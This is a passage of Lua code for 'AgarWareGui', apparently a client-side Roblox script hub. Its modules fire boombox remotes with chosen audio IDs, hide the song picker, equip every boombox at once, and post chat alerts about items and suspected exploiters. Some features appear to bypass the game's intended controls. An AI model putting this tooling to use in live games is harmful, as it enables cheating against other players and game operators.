equipDelay = 0.03 -- How long to wait before auto-playing (adjustable) local Players = game:GetService("Players") local player = Players.LocalPlayer local currentBoombox = nil -- Track currently equipped boombox -- ============================================================ -- PLAY AUDIO ON CURRENT BOOMBOX -- ============================================================ local function playOnCurrentBoombox(audioId) if not currentBoombox then return end if not currentBoombox.Parent then currentBoombox = nil return end local remote = currentBoombox:FindFirstChild("Remote") if remote then remote:FireServer("PlaySong", audioId) end end -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then AutoPlayTickBox.BackgroundColor3 = getAccentColor() -- If boombox is currently equipped, play the audio if currentBoombox then local audioId = tonumber(currentAudioId) if audioId then playOnCurrentBoombox(audioId) end end else AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- If boombox is currently equipped, stop the audio if currentBoombox then playOnCurrentBoombox(0) -- Play ID 0 to stop music end end end -- ============================================================ -- CLICK HANDLER -- ============================================================ AutoPlayTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- AUTO-PLAY FUNCTION -- ============================================================ local function autoPlayBoombox(tool) if not isEnabled then return end if tool.Name ~= "SuperFlyGoldBoombox" then return end -- Wait for Remote to be available local remote = tool:WaitForChild("Remote", 10) if not remote then return end -- Track this as the current boombox currentBoombox = tool -- Get current audio ID from the changer local audioId = tonumber(currentAudioId) if not audioId then return end -- Wait before auto-playing (adjustable delay) task.wait(equipDelay) -- Fire the server-side PlaySong event remote:FireServer("PlaySong", audioId) end -- ============================================================ -- CHARACTER MONITORING -- ============================================================ local function onCharacterAdded(character) -- Monitor when tools get equipped character.ChildAdded:Connect(function(child) if child:IsA("Tool") then autoPlayBoombox(child) end end) -- Monitor when tools get unequipped character.ChildRemoved:Connect(function(child) if child:IsA("Tool") and child.Name == "SuperFlyGoldBoombox" then currentBoombox = nil end end) -- Check if already equipped for _, child in pairs(character:GetChildren()) do if child:IsA("Tool") then autoPlayBoombox(child) end end end -- Setup for current character if player.Character then onCharacterAdded(player.Character) end -- Setup for future characters (respawns) player.CharacterAdded:Connect(onCharacterAdded) -- ============================================================ -- AUDIO ID CHANGER INPUT -- ============================================================ AutoPlayChanger.FocusLost:Connect(function(enterPressed) local text = AutoPlayChanger.Text local number = tonumber(text) if number then currentAudioId = tostring(math.floor(number)) AutoPlayChanger.Text = currentAudioId -- If enabled and boombox is currently equipped, change the audio immediately if isEnabled then local audioId = tonumber(currentAudioId) if audioId then playOnCurrentBoombox(audioId) end end else -- Reset to current audio ID if invalid AutoPlayChanger.Text = currentAudioId end end) -- ============================================================ -- INITIALIZE -- ============================================================ AutoPlayTickBox.BackgroundColor3 = Color3.new(0, 0, 0) AutoPlayChanger.Text = "142376088" end; task.spawn(C_287); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript local function C_28b() local script = G2L["28b"]; local DisableBoomboxRow = script.Parent local DisableBoomboxTickBox = DisableBoomboxRow:WaitForChild("DisableBoomboxTickBox") local function getAccentColor() local BoomboxGroup = DisableBoomboxRow.Parent local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false local Players = game:GetService("Players") local player = Players.LocalPlayer -- ============================================================ -- DISABLE GUI FUNCTION -- ============================================================ local function disableChooseSongGui() local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui") if chooseSongGui then local frame = chooseSongGui:FindFirstChild("Frame") if frame then frame.Visible = false end end end -- ============================================================ -- ENABLE GUI FUNCTION -- ============================================================ local function enableChooseSongGui() local chooseSongGui = player.PlayerGui:FindFirstChild("ChooseSongGui") if chooseSongGui then local frame = chooseSongGui:FindFirstChild("Frame") if frame then frame.Visible = true end end end -- ============================================================ -- MONITOR FOR NEW GUIS -- ============================================================ local function monitorForGuis() player.PlayerGui.ChildAdded:Connect(function(child) if isEnabled and child.Name == "ChooseSongGui" then task.wait() disableChooseSongGui() end end) end -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then DisableBoomboxTickBox.BackgroundColor3 = getAccentColor() disableChooseSongGui() else DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0) enableChooseSongGui() end end -- ============================================================ -- CLICK HANDLER -- ============================================================ DisableBoomboxTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- INITIALIZE -- ============================================================ DisableBoomboxTickBox.BackgroundColor3 = Color3.new(0, 0, 0) task.spawn(monitorForGuis) end; task.spawn(C_28b); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript local function C_28f() local script = G2L["28f"]; -- ============================================================ -- EQUIP BOOMBOX BUTTON -- Equips SuperFlyGoldBoombox when you click the button -- ============================================================ local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EquipBoomboxButton = script.Parent.EquipBoomboxButton -- ============================================================ -- BUTTON CLICK -- ============================================================ EquipBoomboxButton.MouseButton1Click:Connect(function() -- Find SuperFlyGoldBoombox in backpack local boombox = LocalPlayer.Backpack:FindFirstChild("SuperFlyGoldBoombox") if boombox then -- Move to character (equips it without unequipping other tools) boombox.Parent = LocalPlayer.Character end end) end; task.spawn(C_28f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript local function C_292() local script = G2L["292"]; -- ============================================================ -- EQUIP ALL BOOMBOXES BUTTON -- Equips ALL SuperFlyGoldBoombox when you click the button -- ============================================================ local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local EquipBoomboxesButton = script.Parent.EquipBoomboxesButton -- ============================================================ -- BUTTON CLICK -- ============================================================ EquipBoomboxesButton.MouseButton1Click:Connect(function() -- Find ALL SuperFlyGoldBoombox in backpack and equip them for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do if v:IsA("Tool") and v.Name == "SuperFlyGoldBoombox" then v.Parent = LocalPlayer.Character end end end) end; task.spawn(C_292); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript local function C_297() local script = G2L["297"]; local AlertGroup = script.Parent local AlertMinimize = AlertGroup.AlertTitle.AlertMinimize local function getRows() local rows = {} for _, child in ipairs(AlertGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = AlertGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) AlertMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then AlertGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end AlertMinimize.Text = "+" else AlertGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end AlertMinimize.Text = "-" end end) end; task.spawn(C_297); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript local function C_2a3() local script = G2L["2a3"]; local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local LocalPlayer = Players.LocalPlayer local EnlightenLogRow = script.Parent local EnlightenLogTickBox = EnlightenLogRow.EnlightenLogTickBox local EnlightenLogText = EnlightenLogRow.EnlightenLogText local AlertGroup = EnlightenLogRow.Parent local MiscAccentColor = AlertGroup.AlertAccentColor local isEnabled = false local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP -- ============================================================ EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "EnlightenLogTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Announces when players receive The Arkenstone (Enlighten) in their backpack" tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame EnlightenLogTickBox.MouseEnter:Connect(function() local abs = EnlightenLogTickBox.AbsolutePosition local size = EnlightenLogTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) EnlightenLogTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- HELPERS -- ============================================================ local function sendChat(message) if shared.sendChat then shared.sendChat(message) end end local function isAdmin(player) local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen") if not chosenTeam then return false end return player.Team == chosenTeam end local function getNonAdminCount() local count = 0 for _, p in pairs(Players:GetPlayers()) do if not isAdmin(p) then count += 1 end end return count end local function playerHasEnlighten(player) local backpack = player:FindFirstChild("Backpack") local char = workspace:FindFirstChild(player.Name) local inBackpack = backpack and backpack:FindFirstChild("The Arkenstone") local inChar = char and char:FindFirstChild("The Arkenstone") return inBackpack ~= nil or inChar ~= nil end -- ============================================================ -- WINDOW STATE -- ============================================================ local pendingPlayers = {} local windowTimer = nil local WINDOW = 1 local function sendEnlightenMessage() if #pendingPlayers == 0 then return end local nonAdminCount = getNonAdminCount() -- Only say "everyone" if at least 2 players got it AND it covers all non-admins if #pendingPlayers >= 2 and #pendingPlayers >= nonAdminCount then sendChat("🌟Everyone has received enlighten") elseif #pendingPlayers == 1 then sendChat("🌟" .. pendingPlayers[1] .. " has received enlighten") else sendChat("🌟" .. #pendingPlayers .. " Players have received enlighten") end pendingPlayers = {} windowTimer = nil end local function onPlayerEnlightened(player) if not isEnabled then return end if isAdmin(player) then return end if player == LocalPlayer then return end print("[ENLIGHTENLOG] " .. player.Name .. " (" .. player.DisplayName .. ") received The Arkenstone") local alreadyPending = false for _, name in ipairs(pendingPlayers) do if name == player.DisplayName then alreadyPending = true break end end if not alreadyPending then table.insert(pendingPlayers, player.DisplayName) end if windowTimer then task.cancel(windowTimer) end windowTimer = task.delay(WINDOW, sendEnlightenMessage) end -- ============================================================ -- WATCH PLAYERS -- ============================================================ local watchedPlayers = {} local knownEnlightened = {} local function watchPlayer(player) if watchedPlayers[player] then return end watchedPlayers[player] = true local function watchChar(char) if not char then return end char.ChildAdded:Connect(function(item) if item.Name ~= "The Arkenstone" then return end local backpack = player:FindFirstChild("Backpack") local wasInBackpack = backpack and backpack:FindFirstChild("The Arkenstone") if wasInBackpack then return end if knownEnlightened[player] then return end knownEnlightened[player] = true onPlayerEnlightened(player) end) char.ChildRemoved:Connect(function(item) if item.Name ~= "The Arkenstone" then return end task.delay(0.3, function() local backpack = player:FindFirstChild("Backpack") local char2 = workspace:FindFirstChild(player.Name) local stillHas = (backpack and backpack:FindFirstChild("The Arkenstone")) or (char2 and char2:FindFirstChild("The Arkenstone")) if not stillHas then knownEnlightened[player] = nil end end) end) end -- Also watch backpack local backpack = player:FindFirstChild("Backpack") if backpack then backpack.ChildAdded:Connect(function(item) if item.Name == "The Arkenstone" then -- Mark as known when it enters backpack so re-equip doesnt trigger knownEnlightened[player] = true end end) backpack.ChildRemoved:Connect(function(item) if item.Name ~= "The Arkenstone" then return end task.delay(0.3, function() local bp = player:FindFirstChild("Backpack") local char2 = workspace:FindFirstChild(player.Name) local stillHas = (bp and bp:FindFirstChild("The Arkenstone")) or (char2 and char2:FindFirstChild("The Arkenstone")) if not stillHas then knownEnlightened[player] = nil end end) end) end if player.Character then watchChar(player.Character) end player.CharacterAdded:Connect(function(char) knownEnlightened[player] = nil watchChar(char) end) end -- ============================================================ -- ENABLE / DISABLE -- ============================================================ local playerAddedConn = nil local function enable() isEnabled = true pendingPlayers = {} watchedPlayers = {} windowTimer = nil knownEnlightened = {} for _, player in pairs(Players:GetPlayers()) do if playerHasEnlighten(player) then knownEnlightened[player] = true end end for _, player in pairs(Players:GetPlayers()) do task.spawn(watchPlayer, player) end playerAddedConn = Players.PlayerAdded:Connect(function(player) task.spawn(watchPlayer, player) end) EnlightenLogTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 end local function disable() isEnabled = false pendingPlayers = {} watchedPlayers = {} knownEnlightened = {} if windowTimer then task.cancel(windowTimer) windowTimer = nil end if playerAddedConn then playerAddedConn:Disconnect() playerAddedConn = nil end EnlightenLogTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end EnlightenLogTickBox.MouseButton1Click:Connect(function() if isEnabled then disable() else enable() end end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then isEnabled = false tooltipFrame:Destroy() if windowTimer then task.cancel(windowTimer) end end end) end; task.spawn(C_2a3); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript local function C_2aa() local script = G2L["2aa"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local BkitDeleteRow = script.Parent local BkitDeleteTickBox = BkitDeleteRow:WaitForChild("BkitDeleteTickBox") local AlertGroup = BkitDeleteRow.Parent local MiscAccentColor = AlertGroup:WaitForChild("AlertAccentColor") local isEnabled = false -------------------------------------------------- -- VISUAL -------------------------------------------------- BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local function updateVisual() if isEnabled then BkitDeleteTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else BkitDeleteTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end BkitDeleteTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled updateVisual() end) local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel", tooltipFrame) label.BackgroundTransparency = 1 label.Text = "Detects and announces when a player disables bkit using exploits." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 BkitDeleteTickBox.MouseEnter:Connect(function() local abs = BkitDeleteTickBox.AbsolutePosition local size = BkitDeleteTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) BkitDeleteTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) -------------------------------------------------- -- SETTINGS -------------------------------------------------- local BRICK_SOUND_ID = "rbxassetid://9117183621" local IDEAL_DELAY = 0.1 local MAX_DELAY = 0.2 -- ignore anyone past this -------------------------------------------------- -- SOUND TRACKING -------------------------------------------------- local recentDeleteSound = {} local function hookHRP(player, hrp) local function trackSound(obj) if not obj:IsA("Sound") or obj.SoundId ~= BRICK_SOUND_ID then return end local lastTime = 0 local wasPlaying = false RunService.Heartbeat:Connect(function() if not obj.Parent then return end local t = obj.TimePosition local playing = obj.IsPlaying if playing then if not wasPlaying or (lastTime > 0.05 and t < 0.05) then recentDeleteSound[player.UserId] = tick() end end lastTime = t wasPlaying = playing end) end for _, obj in pairs(hrp:GetDescendants()) do trackSound(obj) end hrp.DescendantAdded:Connect(trackSound) end local function watchPlayer(player) if player.Character then local hrp = player.Character:FindFirstChild("HumanoidRootPart") if hrp then hookHRP(player, hrp) end end player.CharacterAdded:Connect(function(char) local hrp = char:WaitForChild("HumanoidRootPart", 10) if hrp then hookHRP(player, hrp) end end) end for _, p in ipairs(Players:GetPlayers()) do watchPlayer(p) end Players.PlayerAdded:Connect(watchPlayer) -------------------------------------------------- -- SEND CHAT -------------------------------------------------- local function sendChat(message) if shared.sendChat then shared.sendChat(message) end end -------------------------------------------------- -- WATCH BRICK TEMPLATE -------------------------------------------------- local brickTemplate = ReplicatedStorage:WaitForChild("Brick") local lastDisappear = 0 brickTemplate.AncestryChanged:Connect(function() if brickTemplate:IsDescendantOf(ReplicatedStorage) then return end if not isEnabled then return end if tick() - lastDisappear < 0.5 then return end lastDisappear = tick() local disappearedAt = tick() -- Wait for sounds to come in after brick deletion task.wait(MAX_DELAY) local best = nil local bestDiff = math.huge for _, player in ipairs(Players:GetPlayers()) do local soundTime = recentDeleteSound[player.UserId] if soundTime then local delay = soundTime - disappearedAt -- Only consider sounds played AFTER brick disappeared within MAX_DELAY if delay >= 0 and delay <= MAX_DELAY then local diff = math.abs(delay - IDEAL_DELAY) if diff < bestDiff then best = player bestDiff = diff end end end end -- Always send the first message sendChat("🔊BKIT HAS BEEN DISABLED") if best then task.wait(0.1) sendChat("🔊POSSIBLE SUSPECT: " .. best.DisplayName) end end) end; task.spawn(C_2aa); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript local function C_2ae() local script = G2L["2ae"]; local ReplicatedStorage = game:GetService("ReplicatedStorage") local repBrick = ReplicatedStorage:WaitForChild("Brick") -------------------------------------------------- -- GUI REFERENCES -------------------------------------------------- local RepPaintsRow = script.Parent local AlertGroup = RepPaintsRow.Parent local AlertAccentColor = AlertGroup:WaitForChild("AlertAccentColor") local RepPaintsTickBox = RepPaintsRow:WaitForChild("RepPaintsTickBox") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0) RepPaintsTickBox:SetAttribute("Enabled", false) local function updateVisual() if RepPaintsTickBox:GetAttribute("Enabled") then RepPaintsTickBox.BackgroundColor3 = AlertAccentColor.BackgroundColor3 else RepPaintsTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end RepPaintsTickBox.MouseButton1Click:Connect(function() local state = not RepPaintsTickBox:GetAttribute("Enabled") RepPaintsTickBox:SetAttribute("Enabled", state) updateVisual() end) updateVisual() -- Share the enabled state globally so AutoPaintRep can read it shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled") RepPaintsTickBox:GetAttributeChangedSignal("Enabled"):Connect(function() shared.RepPaintsEnabled = RepPaintsTickBox:GetAttribute("Enabled") end) -- ============================================================ -- TOOLTIP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.Name = "RepPaintsTooltip" tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = script.Parent.Parent:FindFirstAncestorWhichIsA("ScreenGui") tooltipFrame.ClipsDescendants = true tooltipFrame.Active = false tooltipFrame.Selectable = false local tooltipStroke = Instance.new("UIStroke") tooltipStroke.Color = Color3.fromRGB(57, 57, 57) tooltipStroke.Thickness = 1 tooltipStroke.Parent = tooltipFrame local tooltipPadding = Instance.new("UIPadding") tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) tooltipPadding.Parent = tooltipFrame local tooltipText = Instance.new("TextLabel") tooltipText.BackgroundTransparency = 1 tooltipText.Text = "Sends an alert in chat when someone exploits to paint the ReplicatedStorage.Brick." tooltipText.TextColor3 = Color3.new(1, 1, 1) tooltipText.TextSize = 14 tooltipText.TextXAlignment = Enum.TextXAlignment.Left tooltipText.TextYAlignment = Enum.TextYAlignment.Top tooltipText.Font = Enum.Font.GothamSemibold tooltipText.TextWrapped = true tooltipText.Size = UDim2.new(0, 200, 0, 0) tooltipText.AutomaticSize = Enum.AutomaticSize.Y tooltipText.ZIndex = 101 tooltipText.Parent = tooltipFrame RepPaintsTickBox.MouseEnter:Connect(function() local abs = RepPaintsTickBox.AbsolutePosition local size = RepPaintsTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) RepPaintsTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -------------------------------------------------- -- SHARED STATE -------------------------------------------------- shared.IsRestoringBKit = shared.IsRestoringBKit or false shared.RepPaintsDebounce = shared.RepPaintsDebounce or nil -------------------------------------------------- -- HELPERS -------------------------------------------------- local function sendChat(msg) if shared.sendChat then shared.sendChat(msg) end end -------------------------------------------------- -- CLEAN MATERIALS -------------------------------------------------- local CLEAN_MATERIALS = { ["SmoothPlastic"] = true, ["CeramicTiles"] = true, ["Plastic"] = true, ["Concrete"] = true, } local lastMaterial = repBrick.Material -------------------------------------------------- -- ALERT HANDLER -------------------------------------------------- local function onChangeConfirmed() if not RepPaintsTickBox:GetAttribute("Enabled") then return end if shared.IsRestoringBKit then return end sendChat("🚨A player exploited/painted bkit") end -------------------------------------------------- -- DETERMINE IF CHANGE COUNTS -------------------------------------------------- local function isChangeCounted() local mat = repBrick.Material local color = repBrick.Color local anchored = repBrick.Anchored local hasChildren = #repBrick:GetChildren() > 0 -- ONLY ignore material change itself if Clean→Clean or Normal→Clean local materialChangeIgnored = (CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name]) or (not CLEAN_MATERIALS[lastMaterial.Name] and CLEAN_MATERIALS[mat.Name]) lastMaterial = mat -- always update lastMaterial -- COUNT a change if ANY of these is true (OR logic) if materialChangeIgnored then return hasChildren or anchored == false or color ~= Color3.fromRGB(192,192,192) or not CLEAN_MATERIALS[mat.Name] else return true end end local function onBrickChanged() if not RepPaintsTickBox:GetAttribute("Enabled") then return end if shared.IsRestoringBKit then return end if isChangeCounted() then -- debounce alert if shared.RepPaintsDebounce then task.cancel(shared.RepPaintsDebounce) end shared.RepPaintsDebounce = task.delay(1, function() shared.RepPaintsDebounce = nil onChangeConfirmed() end) end end -------------------------------------------------- -- MONITOR -------------------------------------------------- local connections = {} local function startWatching() table.insert(connections, repBrick:GetPropertyChangedSignal("Color"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Material"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Anchored"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("Size"):Connect(onBrickChanged)) table.insert(connections, repBrick:GetPropertyChangedSignal("BrickColor"):Connect(onBrickChanged)) table.insert(connections, repBrick.ChildAdded:Connect(onBrickChanged)) table.insert(connections, repBrick.ChildRemoved:Connect(onBrickChanged)) end local function stopWatching() for _, c in ipairs(connections) do pcall(function() c:Disconnect() end) end connections = {} if shared.RepPaintsDebounce then task.cancel(shared.RepPaintsDebounce) shared.RepPaintsDebounce = nil end end startWatching() script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then stopWatching() end end) end; task.spawn(C_2ae); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip local function C_2b2() local script = G2L["2b2"]; -- ============================================================ -- PLAYER ALERT GROUP TOOLTIP SCRIPT -- ============================================================ local PlayerAlertGroup = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local WelcomeMSGHelp = findDescendant("WelcomeMSGHelp") local WelcomeTickBox = findDescendant("WelcomeTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local welcomeMsgHelpTooltip = makeTooltip( "Use (Username) or (Display) in your welcome message to insert the player's name.\n\nExample: 👋 (Display) joined!" ) local welcomeTickBoxTooltip = makeTooltip( "Sends a welcome message in chat when a player joins the server." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(WelcomeMSGHelp, welcomeMsgHelpTooltip) hookTooltip(WelcomeTickBox, welcomeTickBoxTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then welcomeMsgHelpTooltip:Destroy() welcomeTickBoxTooltip:Destroy() end end) end; task.spawn(C_2b2); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript local function C_2b3() local script = G2L["2b3"]; local PlayerAlertGroup = script.Parent local PlayerAlertMinimize = PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize local function getRows() local rows = {} for _, child in ipairs(PlayerAlertGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = PlayerAlertGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) PlayerAlertMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then PlayerAlertGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end PlayerAlertMinimize.Text = "+" else PlayerAlertGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end PlayerAlertMinimize.Text = "-" end end) end; task.spawn(C_2b3); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript local function C_2b9() local script = G2L["2b9"]; -- WelcomeScript (goes in WelcomeRow) local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local WelcomeTickBox = script.Parent.WelcomeTickBox local PlayerAlertGroup = script.Parent.Parent local PlayerAlertAccentColor = PlayerAlertGroup.PlayerAlertAccentColor WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0) local function isEnabled() return WelcomeTickBox.BackgroundColor3 ~= Color3.new(0, 0, 0) end WelcomeTickBox.MouseButton1Click:Connect(function() if WelcomeTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then WelcomeTickBox.BackgroundColor3 = PlayerAlertAccentColor.BackgroundColor3 else WelcomeTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end) Players.PlayerAdded:Connect(function(player) if not isEnabled() then return end local message = shared.WelcomeMessage or "👋 (Display) joined the server!" -- Replace placeholders (case insensitive) message = string.gsub(message, "%([Uu][Ss][Ee][Rr][Nn][Aa][Mm][Ee]%)", player.Name) message = string.gsub(message, "%([Dd][Ii][Ss][Pp][Ll][Aa][Yy]%)", player.DisplayName) -- Send to 